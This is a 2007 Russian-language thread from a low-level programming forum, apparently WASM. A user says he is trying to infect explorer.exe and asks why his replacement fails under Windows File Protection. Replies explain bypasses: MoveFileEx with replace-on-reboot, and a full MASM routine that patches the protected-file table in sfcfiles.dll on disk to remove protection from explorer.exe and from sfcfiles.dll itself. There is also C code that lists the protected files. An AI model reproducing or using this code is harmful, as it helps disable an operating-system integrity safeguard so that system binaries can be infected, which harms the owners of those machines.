windows file protection trouble

Тема в разделе "WASM.WIN32", создана пользователем dozzer, 23 окт 2007.

  1. dozzer

    dozzer New Member

    Публикаций:
    0
    Регистрация:
    23 окт 2007
    Сообщения:
    2
    Добрый вечер,

    пытаюсь заразить експлорер,
    использую перед этим функцию отключение файловой протекции взятой у ув. тов. Bill_Prisoner, вроде посидел с олли - все файловые хендлы winlogon.exe закрываются, функция возвращает положительный результат
    но при попытке заменить ориганальный explorer.exe на зараженный, почему то все равно остается ориганальный експлорер )
    хотел спросить, не связанно ли это с более новыми патчами на винды (?)

    спасибо.
     
  2. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    Статью не читал, но хотелось бы уточнить, что именно ты делаешь? Насколько мне известно, винлогон просто копирует в свою память весь список защищенных програм. Поэтому, простые операции с хендлами и т.д. (sfc.dll?) не помогут. Я патчил sfc.dll (или sfc_os.dll - ну или как она там называется) на винте через отложенную загрузку - все отлично работает!
     
  3. spencer

    spencer New Member

    Публикаций:
    0
    Регистрация:
    15 авг 2005
    Сообщения:
    277
    эээ.. копирует список файлов или файлы из списка?
     
  4. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    Список файлов. Копии файлов находятся в system32/dllcache. Если там нет правильной копии, тогда появляется окошко с просьбой вставить диск. Иначе измененный файл тупо заменяется копией.
     
  5. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    dozzer
    Да, в статье уже устаревшая инфа, раньше работало, а теперь нет :dntknw:
     
  6. dozzer

    dozzer New Member

    Публикаций:
    0
    Регистрация:
    23 окт 2007
    Сообщения:
    2
    Дык, а как же её патчить, если она тоже вроде под WFP? :/
    и еще, это наверное уже оффтоп, где можно почитать об отложенной пегезагрузке? %) спасибо
     
  7. PaCHER

    PaCHER New Member

    Публикаций:
    0
    Регистрация:
    25 мар 2006
    Сообщения:
    852
    MSoft
    Какой такой список? Где он хранится. Насколько я знаю никакого списка нету, есть подпись, и все что подписано потектится.
     
  8. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    dozzer
    Я ж грю - MoveFileEx с флагом после перезагрузки. И все отлично меняется (получилось только на XP SP2; на Win2k - не получилось; на остальных не тестилось).
    PaCHER
    Список защищаемых программ. Скажу честно, не помню по памяти ту структуру, но, если пропатчить этот список, то проверяться файлы не будут. Вобщем, там идет массив из 2-х элементов: 1-й - указатель на имя (но врать не буду, не помню), 2-й - указатель на путь к файлу. Так вот, если, к примеру, второй дворд в массиве поменять, то этот файл проверяться не будет!!! И с ним можно делать все что угодно!

    Вот код, который делает патч и снимает защиту с самой sfcfiles.dll и с эксплорера.
    Код (Text):
    1. .data
    2. szSfcFiles      db '\sfcfiles.dll',0
    3. szSfcGetFiles   db 'SfcGetFiles',0
    4. szSfcSfcfiles   dw '%','s','y','s','t','e','m','r','o','o','t','%','\','s','y','s','t','e','m','3','2','\'
    5.                 dw 's','f','c','f','i','l','e','s','.','d','l','l',0
    6. szSfcExplorer   dw '%','s','y','s','t','e','m','r','o','o','t','%','\','e','x','p','l','o','r','e','r','.','e','x','e',0
    7.  
    8. .data?
    9. lpFiles         dd ?
    10. dwArraySize     dd ?
    11.  
    12. .code
    13. PatchSFC proc
    14. LOCAL lszFileName[100h]: BYTE
    15. LOCAL lSfcFilesPatchAddr, lExplorerPatchAddr: DWORD
    16. LOCAL lPatch, lhFile, lhDll, lhMap, lhMem: DWORD
    17.  
    18.     pushad
    19.     sseh_ex _end
    20.     xor eax,eax
    21.     dec eax
    22.     mov lhFile,eax
    23.     mov lhDll,eax
    24.     mov lhMap,eax
    25.     mov lhMem,eax
    26.    
    27.     lea esi,lszFileName
    28.     invoke GetSystemDirectory,esi,SizeOf lszFileName
    29.     invoke lstrcat,esi,addr szSfcFiles
    30.     invoke LoadLibrary,esi
    31.     mov lhDll,eax
    32.     invoke GetProcAddress,eax,addr szSfcGetFiles
    33.     or eax,eax
    34.     jz _end
    35.     push offset dwArraySize
    36.     push offset lpFiles
    37.     call eax
    38.     mov ecx,dwArraySize
    39.     mov esi,lpFiles
    40.    
    41. next_file:
    42.     lodsd               ;пропускаем первый дворд
    43.     lodsd               ;указатель на путь к файлу
    44.     mov edx,eax
    45.     invoke lstrcmpW,edx,addr szSfcSfcfiles
    46.     or eax,eax
    47.     jnz @F
    48.     lea eax,[esi-4]
    49.     sub eax,lhDll
    50.     mov lSfcFilesPatchAddr,eax                  ;сохранить RVA
    51.     mov eax,[esi-4*4]
    52.     mov lPatch,eax
    53. @@: invoke lstrcmpW,edx,addr szSfcExplorer
    54.     or eax,eax
    55.     jnz @F
    56.     lea eax,[esi-4]
    57.     sub eax,lhDll
    58.     mov lExplorerPatchAddr,eax                  ;сохранить RVA
    59.     mov eax,[esi-4*4]
    60.     mov lPatch,eax
    61. @@: lodsd               ;пропускаем еще один дворд
    62.     loop next_file
    63.  
    64.     mov eax,lhDll
    65.     add eax,[eax+3Ch]
    66.     movzx ecx,word ptr [eax+06h]
    67.     movzx edx,word ptr [eax+14h]
    68.     lea edx,[edx+eax+18h]
    69. next_section:
    70.     mov eax,[edx+0Ch]
    71.     cmp eax,lExplorerPatchAddr
    72.     ja @F
    73.     add eax,[edx+08h]
    74.     cmp eax,lExplorerPatchAddr
    75.     ja section_found
    76. @@: add edx,28h
    77.     loop next_section
    78.     jmp _end
    79.    
    80. section_found:
    81.     mov eax,[edx+14h]
    82.     sub eax,[edx+0Ch]
    83.     add lExplorerPatchAddr,eax
    84.     add lSfcFilesPatchAddr,eax
    85.    
    86.     invoke FreeLibrary,lhDll
    87.     invoke CreateFile,addr lszFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0
    88.     mov lhFile,eax
    89.     inc eax
    90.     jz _end
    91.     invoke GetFileSize,lhFile,0
    92.     mov ebx,eax
    93.     invoke CreateFileMapping,lhFile,0,PAGE_READWRITE,0,eax,0
    94.     mov lhMap,eax
    95.     or eax,eax
    96.     jz _end
    97.     invoke MapViewOfFileEx,eax,FILE_MAP_READ or FILE_MAP_WRITE,0,0,ebx,0
    98.     mov lhMem,eax
    99.     or eax,eax
    100.     jz _end
    101.     mov edx,lPatch
    102.     mov ecx,lExplorerPatchAddr
    103.     mov [eax+ecx],edx
    104.     mov ecx,lSfcFilesPatchAddr
    105.     mov [eax+ecx],edx
    106.  
    107. _end:
    108.     invoke UnmapViewOfFile,lhMem
    109.     invoke CloseHandle,lhMap
    110.     invoke CloseHandle,lhFile
    111.     invoke FreeLibrary,lhDll
    112.     rseh_ex
    113.     popad
    114.     ret
    115. PatchSFC endp
     
  9. PaCHER

    PaCHER New Member

    Публикаций:
    0
    Регистрация:
    25 мар 2006
    Сообщения:
    852
    MSoft
    Где читал про структуру? Где почитать?
    Интересует главное где хранится первоначальный список, или как он получается.

    Кроме патча есть функция которая отключает протект на определенный файл на минуту. Про функции и патчинг инфы немерено. Но про список инфы 0.
     
  10. roman_pro

    roman_pro New Member

    Публикаций:
    0
    Регистрация:
    9 фев 2007
    Сообщения:
    291
    http://msdn2.microsoft.com/en-us/library/bb204784.aspx
    http://msdn2.microsoft.com/en-us/library/bb204783.aspx

    Сам список вроде жестко зашит в sfcfiles.dll
     
  11. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    PaCHER
    ИДА и метод научного тыка :) Слышал, что в sfcfiles.dll лежит список защищенных файлов. Открыл идой, глянул какие функции есть и что они возвращают. Так и узнал про структуру списка :)
     
  12. censored

    censored New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2005
    Сообщения:
    1.615
    Адрес:
    деревня "Анонимные Прокси"
    Код (Text):
    1.      oe = (PE_OBJENTRY *)&buf[mz->mz_neptr+0x18+pe->pe_ntheadersize];
    2.      for (i=0; i<pe->pe_numofobjects; i++) {
    3.          if (!stricmp(oe[i].oe_name, ".data")) {
    4.              char path[MAX_PATH];
    5.              DWORD len, s;
    6.              char *data = (char *)&buf[oe[i].oe_physoffs+4*4];
    7.              s = 4*4;
    8.  
    9.              while (s<oe[i].oe_physsize) {
    10.  
    11.                  len = lstrlenW((LPCWSTR)data)<<1;
    12.                  sprintf(path, "%S", data);
    13.                  if (path[0] && is_valid_char(path[0]) && strlen(path)>1)
    14.                      printf("%s\n", path);
    15.  
    16.                  data += len;
    17.                  s += len;
    18.  
    19.                  while (!*data && s<oe[i].oe_physsize) {
    20.                      data++;
    21.                      s++;
    22.                  }
    23.  
    24.              }
    25.          }
    26.  
    27.      }
    /* из одного старого срц */
     
  13. PaCHER

    PaCHER New Member

    Публикаций:
    0
    Регистрация:
    25 мар 2006
    Сообщения:
    852
    Ясно, буду разбирать :) всем спасибо.